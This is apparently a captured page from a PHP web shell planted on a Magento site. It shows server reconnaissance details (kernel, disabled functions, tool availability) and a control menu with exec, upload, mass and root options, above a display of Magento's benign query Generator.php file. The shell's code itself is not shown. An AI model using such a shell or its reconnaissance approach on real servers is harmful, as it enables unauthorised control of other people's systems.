Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 06:44:25
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/DB/Query/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/DB/Query/Generator.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\DB\Query; use Magento\Framework\Exception\LocalizedException; /** * Query generator */ class Generator { /** * @var \Magento\Framework\DB\Query\BatchIteratorFactory */ private $iteratorFactory; /** * @var \Magento\Framework\DB\Query\BatchRangeIteratorFactory */ private $rangeIteratorFactory; /** * Initialize dependencies. * * @param BatchIteratorFactory $iteratorFactory * @param BatchRangeIteratorFactory $rangeIteratorFactory */ public function __construct( BatchIteratorFactory $iteratorFactory, BatchRangeIteratorFactory $rangeIteratorFactory = null ) { $this->iteratorFactory = $iteratorFactory; $this->rangeIteratorFactory = $rangeIteratorFactory ?: \Magento\Framework\App\ObjectManager::getInstance() ->get(\Magento\Framework\DB\Query\BatchRangeIteratorFactory::class); } /** * Generate select query list with predefined items count in each select item * * Generates select parameters - batchSize, correlationName, rangeField, rangeFieldAlias * to obtain instance of iterator. The behavior of the iterator will depend on the parameters passed to it. * For example: by default for $batchStrategy parameter used * \Magento\Framework\DB\Query\BatchIteratorInterface::UNIQUE_FIELD_ITERATOR. This parameter is determine, what * instance of Iterator will be returned. * * Other params: * select - represents the select object, that should be passed into Iterator. * batchSize - sets the number of items in select. * correlationName - is the base table involved in the select. * rangeField - this is the basic field which used to split select. * rangeFieldAlias - alias of range field. * * @see \Magento\Framework\DB\Query\BatchIteratorInterface * @param string $rangeField - Field which is used for the range mechanism in select * @param \Magento\Framework\DB\Select $select * @param int $batchSize - Determines on how many parts will be divided * the number of values in the select. * @param string $batchStrategy It determines which strategy is chosen * @return BatchIteratorInterface * @throws LocalizedException Throws if incorrect "FROM" part in \Select exists */ public function generate( $rangeField, \Magento\Framework\DB\Select $select, $batchSize = 100, $batchStrategy = \Magento\Framework\DB\Query\BatchIteratorInterface::UNIQUE_FIELD_ITERATOR ) { if ($batchStrategy == \Magento\Framework\DB\Query\BatchIteratorInterface::NON_UNIQUE_FIELD_ITERATOR) { return $this->generateByRange($rangeField, $select, $batchSize); } $fromSelect = $select->getPart(\Magento\Framework\DB\Select::FROM); if (empty($fromSelect)) { throw new LocalizedException( new \Magento\Framework\Phrase( 'The select object must have the correct "FROM" part. Verify and try again.' ) ); } $fieldCorrelationName = ''; foreach ($fromSelect as $correlationName => $fromPart) { if ($fromPart['joinType'] == \Magento\Framework\DB\Select::FROM) { $fieldCorrelationName = $correlationName; break; } } $columns = $select->getPart(\Magento\Framework\DB\Select::COLUMNS); /** * Calculate $rangeField alias */ $rangeFieldAlias = $rangeField; foreach ($columns as $column) { list($table, $columnName, $alias) = $column; if ($table == $fieldCorrelationName && $columnName == $rangeField) { $rangeFieldAlias = $alias ?: $rangeField; break; } } return $this->iteratorFactory->create( [ 'select' => $select, 'batchSize' => $batchSize, 'correlationName' => $fieldCorrelationName, 'rangeField' => $rangeField, 'rangeFieldAlias' => $rangeFieldAlias ] ); } /** * Generate select query list with predefined items count in each select item. * * Generates select parameters - batchSize, correlationName, rangeField, rangeFieldAlias * to obtain instance of BatchRangeIterator. * * Other params: * select - represents the select object, that should be passed into Iterator. * batchSize - sets the number of items in select. * correlationName - is the base table involved in the select. * rangeField - this is the basic field which used to split select. * rangeFieldAlias - alias of range field. * * @see BatchRangeIterator * @param string $rangeField - Field which is used for the range mechanism in select * @param \Magento\Framework\DB\Select $select * @param int $batchSize * @return BatchIteratorInterface * @throws LocalizedException Throws if incorrect "FROM" part in \Select exists * @see \Magento\Framework\DB\Query\Generator * @deprecated 100.1.8 This is a temporary solution which is made due to the fact that we * can't change method generate() in version 2.1 due to a backwards incompatibility. * In 2.2 version need to use original method generate() with additional parameter. */ public function generateByRange( $rangeField, \Magento\Framework\DB\Select $select, $batchSize = 100 ) { $fromSelect = $select->getPart(\Magento\Framework\DB\Select::FROM); if (empty($fromSelect)) { throw new LocalizedException( new \Magento\Framework\Phrase( 'The select object must have the correct "FROM" part. Verify and try again.' ) ); } $fieldCorrelationName = ''; foreach ($fromSelect as $correlationName => $fromPart) { if ($fromPart['joinType'] == \Magento\Framework\DB\Select::FROM) { $fieldCorrelationName = $correlationName; break; } } $columns = $select->getPart(\Magento\Framework\DB\Select::COLUMNS); /** * Calculate $rangeField alias */ $rangeFieldAlias = $rangeField; foreach ($columns as $column) { list($table, $columnName, $alias) = $column; if ($table == $fieldCorrelationName && $columnName == $rangeField) { $rangeFieldAlias = $alias ?: $rangeField; break; } } return $this->rangeIteratorFactory->create( [ 'select' => $select, 'batchSize' => $batchSize, 'correlationName' => $fieldCorrelationName, 'rangeField' => $rangeField, 'rangeFieldAlias' => $rangeFieldAlias, ] ); } }